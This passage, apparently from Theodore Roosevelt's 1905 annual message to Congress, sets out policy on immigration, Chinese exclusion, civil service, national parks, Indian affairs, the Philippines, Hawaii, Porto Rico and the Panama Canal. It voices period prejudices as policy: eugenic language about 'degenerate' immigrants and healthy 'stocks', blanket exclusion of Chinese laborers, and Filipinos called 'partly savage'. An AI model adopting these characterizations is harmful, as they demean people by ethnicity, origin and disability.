year that has\njust elapsed there came to this country a greater number of people than\ncame here during the one hundred and sixty-nine years of our Colonial\nlife which intervened between the first landing at Jamestown and the\nDeclaration of Independence. It is clearly shown in the report of the\nCommissioner General of Immigration that while much of this enormous\nimmigration is undoubtedly healthy and natural, a considerable\nproportion is undesirable from one reason or another; moreover, a\nconsiderable proportion of it, probably a very large proportion,\nincluding most of the undesirable class, does not come here of its own\ninitiative, but because of the activity of the agents of the great\ntransportation companies. These agents are distributed throughout\nEurope, and by the offer of all kinds of inducements they wheedle and\ncajole many immigrants, often against their best interest, to come\nhere. The most serious obstacle we have to encounter in the effort to\nsecure a proper regulation of the immigration to these shores arises\nfrom the determined opposition of the foreign steamship lines who have\nno interest whatever in the matter save to increase the returns on\ntheir capital by carrying masses of immigrants hither in the steerage\nquarters of their ships.As I said in my last message to the Congress, we cannot have too much\nimmigration of the right sort and we should have none whatever of the\nwrong sort. Of course, it is desirable that even the right kind of\nimmigration should be properly distributed in this country. We need\nmore of such immigration for the South; and special effort should be\nmade to secure it. Perhaps it would be possible to limit the number of\nimmigrants allowed to come in any one year to New York and other\nNorthern cities, while leaving unlimited the number allowed to come to\nthe South; always provided, however, that a stricter effort is made to\nsee that only immigrants of the right kind come to our country\nanywhere. In actual practice it has proved so difficult to enforce the\nmigration laws where long stretches of frontier marked by an imaginary\nline alone intervene between us and our neighbors that I recommend that\nno immigrants be allowed to come in from Canada and Mexico save natives\nof the two countries themselves. As much as possible should be done to\ndistribute the immigrants upon the land and keep them away from the\ncontested tenement-house districts of the great cities. But\ndistribution is a palliative, not a cure. The prime need is to keep out\nall immigrants who will not make good American citizens. The laws now\nexisting for the exclusion of undesirable immigrants should be\nstrengthened. Adequate means should be adopted, enforced by sufficient\npenalties, to compel steamship companies engaged in the passenger\nbusiness to observe in good faith the law which forbids them to\nencourage or solicit immigration to the United States. Moreover, there\nshould be a sharp limitation imposed upon all vessels coming to our\nports as to the number of immigrants in ratio to the tonnage which each\nvessel can carry. This ratio should be high enough to insure the coming\nhither of as good a class of aliens as possible. Provision should be\nmade for the surer punishment of those who induce aliens to come to\nthis country under promise or assurance of employment. It should be\nmade possible to inflict a sufficiently heavy penalty on any employer\nviolating this law to deter him from taking the risk. It seems to me\nwise that there should be an international conference held to deal with\nthis question of immigration, which has more than a merely National\nsignificance; such a conference could, among other things, enter at\nlength into the method for securing a thorough inspection of would-be\nimmigrants at the ports from which they desire to embark before\npermitting them to embark.In dealing with this question it is unwise to depart from the old\nAmerican tradition and to discriminate for or against any man who\ndesires to come here and become a citizen, save on the ground of that\nman's fitness for citizenship. It is our right and duty to consider his\nmoral and social quality. His standard of living should be such that he\nwill not, by pressure of competition, lower the standard of living of\nour own wage-workers; for it must ever be a prime object of our\nlegislation to keep high their standard of living. If the man who seeks\nto come here is from the moral and social standpoint of such a\ncharacter as to bid fair to add value to the community he should be\nheartily welcomed. We cannot afford to pay heed to whether he is of one\ncreed or another, of one nation, or another. We cannot afford to\nconsider whether he is Catholic or Protestant, Jew or Gentile; whether\nhe is Englishman or Irishman, Frenchman or German, Japanese, Italian,\nScandinavian, Slav, or Magyar. What we should desire to find out is the\nindividual quality of the individual man. In my judgment, with this end\nin view, we shall have to prepare through our own agents a far more\nrigid inspection in the countries from which the immigrants come. It\nwill be a great deal better to have fewer immigrants, but all of the\nright kind, than a great number of immigrants, many of whom are\nnecessarily of the wrong kind. As far as possible we wish to limit the\nimmigration to this country to persons who propose to become citizens\nof this country, and we can well afford to insist upon adequate\nscrutiny of the character of those who are thus proposed for future\ncitizenship. There should be an increase in the stringency of the laws\nto keep out insane, idiotic, epileptic, and pauper immigrants. But this\nis by no means enough. Not merely the Anarchist, but every man of\nAnarchistic tendencies, all violent and disorderly people, all people\nof bad character, the incompetent, the lazy, the vicious, the\nphysically unfit, defective, or degenerate should be kept out. The\nstocks out of which American citizenship is to be built should be\nstrong and healthy, sound in body, mind, and character. If it be\nobjected that the Government agents would not always select well, the\nanswer is that they would certainly select better than do the agents\nand brokers of foreign steamship companies, the people who now do\nwhatever selection is done.The questions arising in connection with Chinese immigration stand by\nthemselves. The conditions in China are such that the entire Chinese\ncoolie class, that is, the class of Chinese laborers, skilled and\nunskilled, legitimately come under the head of undesirable immigrants\nto this country, because of their numbers, the low wages for which they\nwork, and their low standard of living. Not only is it to the interest\nof this country to keep them out, but the Chinese authorities do not\ndesire that they should be admitted. At present their entrance is\nprohibited by laws amply adequate to accomplish this purpose. These\nlaws have been, are being, and will be, thoroughly enforced. The\nviolations of them are so few in number as to be infinitesimal and can\nbe entirely disregarded. This is no serious proposal to alter the\nimmigration law as regards the Chinese laborer, skilled or unskilled,\nand there is no excuse for any man feeling or affecting to feel the\nslightest alarm on the subject.But in the effort to carry out the policy of excluding Chinese\nlaborers, Chinese coolies, grave injustice and wrong have been done by\nthis Nation to the people of China, and therefore ultimately to this\nNation itself. Chinese students, business and professional men of all\nkinds--not only merchants, but bankers, doctors, manufacturers,\nprofessors, travelers, and the like--should be encouraged to come here,\nand treated on precisely the same footing that we treat students,\nbusiness men, travelers, and the like of other nations. Our laws and\ntreaties should be framed, not so as to put these people in the\nexcepted classes, but to state that we will admit all Chinese, except\nChinese of the coolie class, Chinese skilled or unskilled laborers.\nThere would not be the least danger that any such provision would\nresult in any relaxation of the law about laborers. These will, under\nall conditions, be kept out absolutely. But it will be more easy to see\nthat both justice and courtesy are shown, as they ought to be shown, to\nother Chinese, if the law or treaty is framed as above suggested.\nExaminations should be completed at the port of departure from China.\nFor this purpose there should be provided a more adequate Consular\nService in China than we now have. The appropriations both for the\noffices of the Consuls and for the office forces in the consulates\nshould be increased.As a people we have talked much of the open door in China, and we\nexpect, and quite rightly intend to insist upon, justice being shown us\nby the Chinese. But we cannot expect to receive equity unless we do\nequity. We cannot ask the Chinese to do to us what we are unwilling to\ndo to them. They would have a perfect right to exclude our laboring men\nif our laboring men threatened to come into their country in such\nnumbers as to jeopardize the well-being of the Chinese population; and\nas, mutatis mutandis, these were the conditions with which Chinese\nimmigration actually brought this people face to face, we had and have\na perfect right, which the Chinese Government in no way contests, to\nact as we have acted in the matter of restricting coolie immigration.\nThat this right exists for each country was explicitly acknowledged in\nthe last treaty between the two countries. But we must treat the\nChinese student, traveler, and business man in a spirit of the broadest\njustice and courtesy if we expect similar treatment to be accorded to\nour own people of similar rank who go to China. Much trouble has come\nduring the past Summer from the organized boycott against American\ngoods which has been started in China. The main factor in producing\nthis boycott has been the resentment felt by the students and business\npeople of China, by all the Chinese leaders, against the harshness of\nour law toward educated Chinamen of the professional and business\nclasses.  This Government has the friendliest feeling for China and\ndesires China's well-being. We cordially sympathize with the announced\npurpose of Japan to stand for the integrity of China. Such an attitude\ntends to the peace of the world.The civil service law has been on the statute books for twenty-two\nyears. Every President and a vast majority of heads of departments who\nhave been in office during that period have favored a gradual extension\nof the merit system. The more thoroughly its principles have been\nunderstood, the greater has been the favor with which the law has been\nregarded by administration officers. Any attempt to carry on the great\nexecutive departments of the Government without this law would\ninevitably result in chaos. The Civil Service Commissioners are doing\nexcellent work, and their compensation is inadequate considering the\nservice they perform.The statement that the examinations are not practical in character is\nbased on a misapprehension of the practice of the Commission. The\ndepartments are invariably consulted as to the requirements desired and\nas to the character of questions that shall be asked. General\ninvitations are frequently sent out to all heads of departments asking\nwhether any changes in the scope or character of examinations are\nrequired. In other words, the departments prescribe the requirements\nand qualifications desired, and the Civil Service Commission\nco-operates with them in securing persons with these qualifications and\ninsuring open and impartial competition. In a large number of\nexaminations (as, for example, those for trades positions), there are\nno educational requirements whatever, and a person who can neither read\nnor write may pass with a high average. Vacancies in the service are\nfilled with reasonable expedition, and the machinery of the Commission,\nwhich reaches every part of the country, is the best agency that has\nyet been devised for finding people with the most suitable\nqualifications for the various offices to be filled. Written\ncompetitive examinations do not make an ideal method for filling\npositions, but they do represent an immeasurable advance upon the\n\"spoils\" method, under which outside politicians really make the\nappointments nominally made by the executive officers, the appointees\nbeing chosen by the politicians in question, in the great majority of\ncases, for reasons totally unconnected with the needs of the service or\nof the public.Statistics gathered by the Census Bureau show that the tenure of office\nin the Government service does not differ materially from that enjoyed\nby employes of large business corporations. Heads of executive\ndepartments and members of the Commission have called my attention to\nthe fact that the rule requiring a filing of charges and three days'\nnotice before an employe could be separated from the service for\ninefficiency has served no good purpose whatever, because that is not a\nmatter upon which a hearing of the employe found to be inefficient can\nbe of any value, and in practice the rule providing for such notice and\nhearing has merely resulted in keeping in a certain number of\nincompetents, because of the reluctance of the heads of departments and\nbureau chiefs to go through the required procedure. Experience has\nshown that this rule is wholly ineffective to save any man, if a\nsuperior for improper reasons wishes to remove him, and is mischievous\nbecause it sometimes serves to keep in the service incompetent men not\nguilty of specific wrongdoing. Having these facts in view the rule has\nbeen amended by providing that where the inefficiency or incapacity\ncomes within the personal knowledge of the head of a department the\nremoval may be made without notice, the reasons therefor being filed\nand made a record of the department. The absolute right of the removal\nrests where it always has rested, with the head of a department; any\nlimitation of this absolute right results in grave injury to the public\nservice. The change is merely one of procedure; it was much needed, and\nit is producing good results.The civil service law is being energetically and impartially enforced,\nand in the large majority of cases complaints of violations of either\nthe law or rules are discovered to be unfounded. In this respect this\nlaw compares very favorably with any other Federal statute. The\nquestion of politics in the appointment and retention of the men\nengaged in merely ministerial work has been practically eliminated in\nalmost the entire field of Government employment covered by the civil\nservice law. The action of the Congress in providing the commission\nwith its own force instead of requiring it to rely on detailed clerks\nhas been justified by the increased work done at a smaller cost to the\nGovernment. I urge upon the Congress a careful consideration of the\nrecommendations contained in the annual report of the commission.Our copyright laws urgently need revision. They are imperfect in\ndefinition, confused and inconsistent in expression; they omit\nprovision for many articles which, under modern reproductive processes\nare entitled to protection; they impose hardships upon the copyright\nproprietor which are not essential to the fair protection of the\npublic; they are difficult for the courts to interpret and impossible\nfor the Copyright Office to administer with satisfaction to the public.\nAttempts to improve them by amendment have been frequent, no less than\ntwelve acts for the purpose having been passed since the Revised\nStatutes. To perfect them by further amendment seems impracticable. A\ncomplete revision of them is essential. Such a revision, to meet modern\nconditions, has been found necessary in Germany, Austria, Sweden, and\nother foreign countries, and bills embodying it are pending in England\nand the Australian colonies. It has been urged here, and proposals for\na commission to undertake it have, from time to time, been pressed upon\nthe Congress. The inconveniences of the present conditions being so\ngreat, an attempt to frame appropriate legislation has been made by the\nCopyright Office, which has called conferences of the various interests\nespecially and practically concerned with the operation of the\ncopyright laws. It has secured from them suggestions as to the changes\nnecessary; it has added from its own experience and investigations, and\nit has drafted a bill which embodies such of these changes and\nadditions as, after full discussion and expert criticism, appeared to\nbe sound and safe. In form this bill would replace the existing\ninsufficient and inconsistent laws by one general copyright statute. It\nwill be presented to the Congress at the coming session. It deserves\nprompt consideration.I recommend that a law be enacted to regulate inter-State commerce in\nmisbranded and adulterated foods, drinks, and drugs. Such law would\nprotect legitimate manufacture and commerce, and would tend to secure\nthe health and welfare of the consuming public. Traffic in food-stuffs\nwhich have been debased or adulterated so as to injure health or to\ndeceive purchasers should be forbidden.The law forbidding the emission of dense black or gray smoke in the\ncity of Washington has been sustained by the courts. Something has been\naccomplished under it, but much remains to be done if we would preserve\nthe capital city from defacement by the smoke nuisance. Repeated\nprosecutions under the law have not had the desired effect. I recommend\nthat it be made more stringent by increasing both the minimum and\nmaximum fine; by providing for imprisonment in cases of repeated\nviolation, and by affording the remedy of injunction against the\ncontinuation of the operation of plants which are persistent offenders.\nI recommend, also, an increase in the number of inspectors, whose duty\nit shall be to detect violations of the act.I call your attention to the generous act of the State of California in\nconferring upon the United States Government the ownership of the\nYosemite Valley and the Mariposa Big Tree Grove. There should be no\ndelay in accepting the gift, and appropriations should be made for the\nincluding thereof in the Yosemite National Park, and for the care and\npolicing of the park. California has acted most wisely, as well as with\ngreat magnanimity, in the matter. There are certain mighty natural\nfeatures of our land which should be preserved in perpetuity for our\nchildren and our children's children. In my judgment, the Grand Canyon\nof the Colorado should be made into a National park. It is greatly to\nbe wished that the State of New York should copy as regards Niagara\nwhat the State of California has done as regards the Yosemite. Nothing\nshould be allowed to interfere with the preservation of Niagara Falls\nin all their beauty and majesty. If the State cannot see to this, then\nit is earnestly to be wished that she should be willing to turn it over\nto the National Government, which should in such case (if possible, in\nconjunction with the Canadian Government) assume the burden and\nresponsibility of preserving unharmed Niagara Falls; just as it should\ngladly assume a similar burden and responsibility for the Yosemite\nNational Park, and as it has already assumed them for the Yellowstone\nNational Park. Adequate provision should be made by the Congress for\nthe proper care and supervision of all these National parks. The\nboundaries of the Yellowstone National Park should be extended to the\nsouth and east, to take in such portions of the abutting forest\nreservations as will enable the Government to protect the elk on their\nWinter range.The most characteristic animal of the Western plains was the great,\nshaggy-maned wild ox, the bison, commonly known as buffalo. Small\nfragments of herds exist in a domesticated state here and there, a few\nof them in the Yellowstone Park. Such a herd as that on the Flat-head\nReservation should not be allowed to go out of existence. Either on\nsome reservation or on some forest reserve like the Wichita reserve and\ngame refuge provision should be made for the preservation of such a\nherd. I believe that the scheme would be of economic advantage, for the\nrobe of the buffalo is of high market value, and the same is true of\nthe robe of the crossbred animals.I call your especial attention to the desirability of giving to the\nmembers of the Life Saving Service pensions such as are given to\nfiremen and policemen in all our great cities. The men in the Life\nSaving Service continually and in the most matter of fact way do deeds\nsuch as make Americans proud of their country. They have no political\ninfluence, and they live in such remote places that the really heroic\nservices they continually render receive the scantiest recognition from\nthe public. It is unjust for a great nation like this to permit these\nmen to become totally disabled or to meet death in the performance of\ntheir hazardous duty and yet to give them no sort of reward. If one of\nthem serves thirty years of his life in such a position he should\nsurely be entitled to retire on half pay, as a fireman or policeman\ndoes, and if he becomes totally incapacitated through accident or\nsickness, or loses his health in the discharge of his duty, he or his\nfamily should receive a pension just as any soldier should. I call your\nattention with especial earnestness to this matter because it appeals\nnot only to our judgment but to our sympathy; for the people on whose\nbehalf I ask it are comparatively few in number, render incalculable\nservice of a particularly dangerous kind, and have no one to speak for\nthem.During the year just past, the phase of the Indian question which has\nbeen most sharply brought to public attention is the larger legal\nsignificance of the Indian's induction into citizenship. This has made\nitself manifest not only in a great access of litigation in which the\ncitizen Indian figures as a party defendant and in a more widespread\ndisposition to levy local taxation upon his personalty, but in a\ndecision of the United States Supreme Court which struck away the main\nprop on which has hitherto rested the Government's benevolent effort to\nprotect him against the evils of intemperance. The court holds, in\neffect, that when an Indian becomes, by virtue of an allotment of land\nto him, a citizen of the State in which his land is situated, he passes\nfrom under Federal control in such matters as this, and the acts of the\nCongress prohibiting the sale or gift to him of intoxicants become\nsubstantially inoperative. It is gratifying to note that the States and\nmunicipalities of the West which have most at stake in the welfare of\nthe Indians are taking up this subject and are trying to supply, in a\nmeasure at least, the abdication of its trusteeship forced upon the\nFederal Government. Nevertheless, I would urgently press upon the\nattention of the Congress the question whether some amendment of the\ninternal revenue laws might not be of aid in prosecuting those\nmalefactors, known in the Indian country as \"bootleggers,\" who are\nengaged at once in defrauding the United States Treasury of taxes and,\nwhat is far more important, in debauching the Indians by carrying\nliquors illicitly into territory still completely under Federal\njurisdiction.Among the crying present needs of the Indians are more day schools\nsituated in the midst of their settlements, more effective instruction\nin the industries pursued on their own farms, and a more liberal\ntension of the field-matron service, which means the education of the\nIndian women in the arts of home making. Until the mothers are well\nstarted in the right direction we cannot reasonably expect much from\nthe children who are soon to form an integral part of our American\ncitizenship. Moreover the excuse continually advanced by male adult\nIndians for refusing offers of remunerative employment at a distance\nfrom their homes is that they dare not leave their families too long\nout of their sight. One effectual remedy for this state of things is to\nemploy the minds and strengthen the moral fibre of the Indian\nwomen--the end to which the work of the field matron is especially\ndirected. I trust that the Congress will make its appropriations for\nIndian day schools and field matrons as generous as may consist with\nthe other pressing demands upon its providence.During the last year the Philippine Islands have been slowly recovering\nfrom the series of disasters which, since American occupation, have\ngreatly reduced the amount of agricultural products below what was\nproduced in Spanish times. The war, the rinderpest, the locusts, the\ndrought, and the cholera have been united as causes to prevent a return\nof the prosperity much needed in the islands. The most serious is the\ndestruction by the rinderpest of more than 75 per cent of the draught\ncattle, because it will take several years of breeding to restore the\nnecessary number of these indispensable aids to agriculture. The\ncommission attempted to supply by purchase from adjoining countries the\nneeded cattle, but the experiments made were unsuccessful. Most of the\ncattle imported were unable to withstand the change of climate and the\nrigors of the voyage and died from other diseases than rinderpest.The income of the Philippine Government has necessarily been reduced by\nreason of the business and agricultural depression in the islands, and\nthe Government has been obliged to exercise great economy to cut down\nits expenses, to reduce salaries, and in every way to avoid a deficit.\nIt has adopted an internal revenue law, imposing taxes on cigars,\ncigarettes, and distilled liquors, and abolishing the old Spanish\nindustrial taxes. The law has not operated as smoothly as was hoped,\nand although its principle is undoubtedly correct, it may need\namendments for the purpose of reconciling the people to its provisions.\nThe income derived from it has partly made up for the reduction in\ncustoms revenue.There has been a marked increase in the number of Filipinos employed in\nthe civil service, and a corresponding decrease in the number of\nAmericans. The Government in every one of its departments has been\nrendered more efficient by elimination of undesirable material and the\npromotion of deserving public servants.Improvements of harbors, roads, and bridges continue, although the\ncutting down of the revenue forbids the expenditure of any great amount\nfrom current income for these purposes. Steps are being taken, by\nadvertisement for competitive bids, to secure the construction and\nmaintenance of 1,000 miles of railway by private corporations under the\nrecent enabling legislation of the Congress. The transfer of the friar\nlands, in accordance with the contract made some two years ago, has\nbeen completely effected, and the purchase money paid. Provision has\njust been made by statute for the speedy settlement in a special\nproceeding in the Supreme Court of controversies over the possession\nand title of church buildings and rectories arising between the Roman\nCatholic Church and schismatics claiming under ancient municipalities.\nNegotiations and hearings for the settlement of the amount due to the\nRoman Catholic Church for rent and occupation of churches and rectories\nby the army of the United States are in progress, and it is hoped a\nsatisfactory conclusion may be submitted to the Congress before the end\nof the session.Tranquillity has existed during the past year throughout the\nArchipelago, except in the Province of Cavite, the Province of Batangas\nand the Province of Samar, and in the Island of Jolo among the Moros.\nThe Jolo disturbance was put an end to by several sharp and short\nengagements, and now peace prevails in the Moro Province, Cavite, the\nmother of ladrones in the Spanish times, is so permeated with the\ntraditional sympathy of the people for ladronism as to make it\ndifficult to stamp out the disease. Batangas was only disturbed by\nreason of the fugitive ladrones from Cavite, Samar was thrown into\ndisturbance by the uneducated and partly savage peoples living in the\nmountains, who, having been given by the municipal code more power than\nthey were able to exercise discreetly, elected municipal officers who\nabused their trusts, compelled the people raising hemp to sell it at a\nmuch less price than it was worth, and by their abuses drove their\npeople into resistance to constituted authority. Cavite and Samar are\ninstances of reposing too much confidence in the self-governing power\nof a people. The disturbances have all now been suppressed, and it is\nhoped that with these lessons local governments can be formed which\nwill secure quiet and peace to the deserving inhabitants. The incident\nis another proof of the fact that if there has been any error as\nregards giving self-government in the Philippines it has been in the\ndirection of giving it too quickly, not too slowly. A year from next\nApril the first legislative assembly for the islands will be held. On\nthe sanity and self-restraint of this body much will depend so far as\nthe future self-government of the islands is concerned.The most encouraging feature of the whole situation has been the very\ngreat interest taken by the common people in education and the great\nincrease in the number of enrolled students in the public schools. The\nincrease was from 300,000 to half a million pupils. The average\nattendance is about 70 per cent. The only limit upon the number of\npupils seems to be the capacity of the government to furnish teachers\nand school houses.The agricultural conditions of the islands enforce more strongly than\never the argument in favor of reducing the tariff on the products of\nthe Philippine Islands entering the United States. I earnestly\nrecommend that the tariff now imposed by the Dingley bill upon the\nproducts of the Philippine Islands be entirely removed, except the\ntariff on sugar and tobacco, and that that tariff be reduced to 25 per\ncent of the present rates under the Dingley act; that after July 1,\n1909, the tariff upon tobacco and sugar produced in the Philippine\nIslands be entirely removed, and that free trade between the islands\nand the United States in the products of each country then be provided\nfor by law.A statute in force, enacted April 15, 1904, suspends the operation of\nthe coastwise laws of the United States upon the trade between the\nPhilippine Islands and the United States until July 1, 1906. I\nearnestly recommend that this suspension be postponed until July 1,\n1909. I think it of doubtful utility to apply the coastwise laws to the\ntrade between the United States and the Philippines under any\ncircumstances, because I am convinced that it will do no good whatever\nto American bottoms, and will only interfere and be an obstacle to the\ntrade between the Philippines and the United States, but if the\ncoastwise law must be thus applied, certainly it ought not to have\neffect until free trade is enjoyed between the people of the United\nStates and the people of the Philippine Islands in their respective\nproducts.I do not anticipate that free trade between the islands and the United\nStates will produce a revolution in the sugar and tobacco production of\nthe Philippine Islands. So primitive are the methods of agriculture in\nthe Philippine Islands, so slow is capital in going to the islands, so\nmany difficulties surround a large agricultural enterprise in the\nislands, that it will be many, many years before the products of those\nislands will have any effect whatever upon the markets of the United\nStates. The problem of labor is also a formidable one with the sugar\nand tobacco producers in the islands. The best friends of the Filipino\npeople and the people themselves are utterly opposed to the admission\nof Chinese coolie labor. Hence the only solution is the training of\nFilipino labor, and this will take a long time. The enactment of a law\nby the Congress of the United States making provision for free trade\nbetween the islands and the United States, however, will be of great\nimportance from a political and sentimental standpoint; and, while its\nactual benefit has doubtless been exaggerated by the people of the\nislands, they will accept this measure of justice as an indication that\nthe people of the United States are anxious to aid the people of the\nPhilippine Islands in every way, and especially in the agricultural\ndevelopment of their archipelago. It will aid the Filipinos without\ninjuring interests in America.In my judgment immediate steps should be taken for the fortification of\nHawaii. This is the most important point in the Pacific to fortify in\norder to conserve the interests of this country. It would be hard to\noverstate the importance of this need. Hawaii is too heavily taxed.\nLaws should be enacted setting aside for a period of, say, twenty years\n75 per cent of the internal revenue and customs receipts from Hawaii as\na special fund to be expended in the islands for educational and public\nbuildings, and for harbor improvements and military and naval defenses.\nIt cannot be too often repeated that our aim must be to develop the\nterritory of Hawaii on traditional American lines. That territory has\nserious commercial and industrial problems to reckon with; but no\nmeasure of relief can be considered which looks to legislation\nadmitting Chinese and restricting them by statute to field labor and\ndomestic service. The status of servility can never again be tolerated\non American soil. We cannot concede that the proper solution of its\nproblems is special legislation admitting to Hawaii a class of laborers\ndenied admission to the other States and Territories. There are\nobstacles, and great obstacles, in the way of building up a\nrepresentative American community in the Hawaiian Islands; but it is\nnot in the American character to give up in the face of difficulty.\nMany an American Commonwealth has been built up against odds equal to\nthose that now confront Hawaii.No merely half-hearted effort to meet its problems as other American\ncommunities have met theirs can be accepted as final. Hawaii shall\nnever become a territory in which a governing class of rich planters\nexists by means of coolie labor. Even if the rate of growth of the\nTerritory is thereby rendered slower, the growth must only take place\nby the admission of immigrants fit in the end to assume the duties and\nburdens of full American citizenship. Our aim must be to develop the\nTerritory on the same basis of stable citizenship as exists on this\ncontinent.I earnestly advocate the adoption of legislation which will explicitly\nconfer American citizenship on all citizens of Porto Rico. There is, in\nmy judgment, no excuse for failure to do this. The harbor of San Juan\nshould be dredged and improved. The expenses of the Federal Court of\nPorto Rico should be met from the Federal Treasury and not from the\nPorto Rican treasury. The elections in Porto Rico should take place\nevery four years, and the Legislature should meet in session every two\nyears. The present form of government in Porto Rico, which provides for\nthe appointment by the President of the members of the Executive\nCouncil or upper house of the Legislature, has proved satisfactory and\nhas inspired confidence in property owners and investors. I do not deem\nit advisable at the present time to change this form in any material\nfeature. The problems and needs of the island are industrial and\ncommercial rather than political.I wish to call the attention of the Congress to one question which\naffects our insular possessions generally; namely, the need of an\nincreased liberality in the treatment of the whole franchise question\nin these islands. In the proper desire to prevent the islands being\nexploited by speculators and to have them develop in the interests of\ntheir own people an error has been made in refusing to grant\nsufficiently liberal terms to induce the investment of American capital\nin the Philippines and in Porto Rico. Elsewhere in this message I have\nspoken strongly against the jealousy of mere wealth, and especially of\ncorporate wealth as such. But it is particularly regrettable to allow\nany such jealousy to be developed when we are dealing either with our\ninsular or with foreign affairs. The big corporation has achieved its\npresent position in the business world simply because it is the most\neffective instrument in business competition. In foreign affairs we\ncannot afford to put our people at a disadvantage with their\ncompetitors by in any way discriminating against the efficiency of our\nbusiness organizations. In the same way we cannot afford to allow our\ninsular possessions to lag behind in industrial development from any\ntwisted jealousy of business success. It is, of course, a mere truism\nto say that the business interests of the islands will only be\ndeveloped if it becomes the financial interest of somebody to develop\nthem. Yet this development is one of the things most earnestly to be\nwished for in the interest of the islands themselves. We have been\npaying all possible heed to the political and educational interests of\nthe islands, but, important though these objects are, it is not less\nimportant that we should favor their industrial development. The\nGovernment can in certain ways help this directly, as by building good\nroads; but the fundamental and vital help must be given through the\ndevelopment of the industries of the islands, and a most efficient\nmeans to this end is to encourage big American corporations to start\nindustries in them, and this means to make it advantageous for them to\ndo so. To limit the ownership of mining claims, as has been done in the\nPhilippines, is absurd. In both the Philippines and Porto Rico the\nlimit of holdings of land should be largely raised.I earnestly ask that Alaska be given an elective delegate. Some person\nshould be chosen who can speak with authority of the needs of the\nTerritory. The Government should aid in the construction of a railroad\nfrom the Gulf of Alaska to the Yukon River, in American territory. In\nmy last two messages I advocated certain additional action on behalf of\nAlaska. I shall not now repeat those recommendations, but I shall lay\nall my stress upon the one recommendation of giving to Alaska some one\nauthorized to speak for it. I should prefer that the delegate was made\nelective, but if this is not deemed wise, then make him appointive. At\nany rate, give Alaska some person whose business it shall be to speak\nwith authority on her behalf to the Congress. The natural resources of\nAlaska are great. Some of the chief needs of the peculiarly energetic,\nself-reliant, and typically American white population of Alaska were\nset forth in my last message. I also earnestly ask your attention to\nthe needs of the Alaskan Indians. All Indians who are competent should\nreceive the full rights of American citizenship. It is, for instance, a\ngross and indefensible wrong to deny to such hard-working,\ndecent-living Indians as the Metlakahtlas the right to obtain licenses\nas captains, pilots, and engineers; the right to enter mining claims,\nand to profit by the homestead law. These particular Indians are\ncivilized and are competent and entitled to be put on the same basis\nwith the white men round about them.I recommend that Indian Territory and Oklahoma be admitted as one State\nand that New Mexico and Arizona be admitted as one State. There is no\nobligation upon us to treat territorial subdivisions, which are matters\nof convenience only, as binding us on the question of admission to\nStatehood. Nothing has taken up more time in the Congress during the\npast few years than the question as to the Statehood to be granted to\nthe four Territories above mentioned, and after careful consideration\nof all that has been developed in the discussions of the question, I\nrecommend that they be immediately admitted as two States. There is no\njustification for further delay; and the advisability of making the\nfour Territories into two States has been clearly established.In some of the Territories the legislative assemblies issue licenses\nfor gambling. The Congress should by law forbid this practice, the\nharmful results of which are obvious at a glance.The treaty between the United States and the Republic of Panama, under\nwhich the construction of the Panama Canal was made possible, went into\neffect with its ratification by the United States Senate on February\n23, 1904. The canal properties of the French Canal Company were\ntransferred to the United States on April 23, 1904, on payment of\n$40,000,000 to that company. On April 1, 1905, the Commission was\nreorganized, and it now consists of Theodore P. Shonts, Chairman;\nCharles E. Magoon, Benjamin M. Harrod, Rear Admiral Mordecai T.\nEndicott, Brig. Gen. Peter C. Hains, and Col. Oswald H. Ernst. John F.\nStevens was appointed Chief Engineer on July 1 last. Active work in\ncanal construction, mainly preparatory, has been in progress for less\nthan a year and a half. During that period two points about the canal\nhave ceased to be open to debate: First, the question of route; the\ncanal will be built on the Isthmus of Panama. Second, the question of\nfeasibility; there are no physical obstacles on this route that\nAmerican engineering skill will not be able to overcome without serious\ndifficulty, or that will prevent the completion of the canal within a\nreasonable time and at a reasonable cost. This is virtually the\nunanimous testimony of the engineers who have investigated the matter\nfor the Government.The point which remains unsettled is the question of type, whether the\ncanal shall be one of several locks above sea level, or at sea level\nwith a single tide lock. On this point I hope to lay before the\nCongress at an early day the findings of the Advisory Board of American\nand European Engineers, that at my invitation have been considering the\nsubject, together with the report of the Commission thereon, and such\ncomments thereon or recommendations in reference thereto as may seem\nnecessary.The American people is pledged to the speediest possible construction\nof a canal adequate to meet the demands which the commerce of the world\nwill make upon it, and I appeal most earnestly to the Congress to aid\nin the fulfillment of the pledge. Gratifying progress has been made\nduring the past year, and especially during the past four months. The\ngreater part of the necessary preliminary work has been done. Actual\nwork of excavation could be begun only on a limited scale till the\nCanal Zone was made a healthful place to live in and to work in. The\nIsthmus had to be sanitated first. This task has been so thoroughly\naccomplished that yellow fever has been virtually extirpated from the\nIsthmus and general health conditions vastly improved. The same methods\nwhich converted the island of Cuba from a pest hole, which menaced the\nhealth of the world, into a healthful place of abode, have been applied\non the Isthmus with satisfactory results. There is no reason to doubt\nthat when the plans for water supply, paving, and sewerage of Panama\nand Colon and the large labor camps have been fully carried out, the\nIsthmus will be, for the tropics, an unusually healthy place of abode.\nThe work is so far advanced now that the health of all those employed\nin canal work is as well guarded as it is on similar work in this\ncountry and elsewhere.In addition to sanitating the Isthmus, satisfactory quarters are being\nprovided for employes and an adequate system of supplying them with\nwholesome food at reasonable prices has been created. Hospitals have\nbeen established and equipped that are without their superiors of their\nkind anywhere. The country has thus been made fit to work in, and\nprovision has been made for the welfare and comfort of those who are to\ndo the work. During the past year a large portion of the plant with\nwhich the work is to be done has been ordered. It is confidently\nbelieved that by the middle of the approaching year a sufficient\nproportion of this plant will have been installed to enable us to\nresume the work of excavation on a large scale.What is needed now and without delay is an appropriation by the\nCongress to meet the current and accruing expenses of the commission.\nThe first appropriation of $10,000,000, out of the $135,000,000\nauthorized by the Spooner act, was made three years ago. It is nearly\nexhausted. There is barely enough of it remaining to carry the\ncommission to the end of the year. Unless the Congress shall\nappropriate before that time all work must cease. To arrest progress\nfor any length of time now, when matters are advancing so\nsatisfactorily, would be deplorable. There will be no money with which\nto meet pay roll obligations and none with which to meet bills coming\ndue for materials and supplies; and there will be demoralization of the\nforces, here and on the Isthmus, now working so harmoniously and\neffectively, if there is delay in granting an emergency appropriation.\nEstimates of the amount necessary will be found in the accompanying\nreports of the Secretary of War and the commission.I recommend more adequate provision than has been made heretofore for\nthe work of the Department of State. Within a few years there has been\na very great increase in the amount and importance of the work to be\ndone by that department, both in Washington and abroad. This has been\ncaused by the great increase of our foreign trade, the increase of\nwealth among our people, which enables them to travel more generally\nthan heretofore, the increase of American capital which is seeking\ninvestment in foreign countries, and the growth of our power and weight\nin the councils of the civilized world. There has been no corresponding\nincrease of facilities for doing the work afforded to the department\nhaving charge of our foreign relations.Neither at home nor abroad is there a sufficient working force to do\nthe business properly. In many respects the system which was adequate\nto the work of twenty-five years or even ten years ago, is 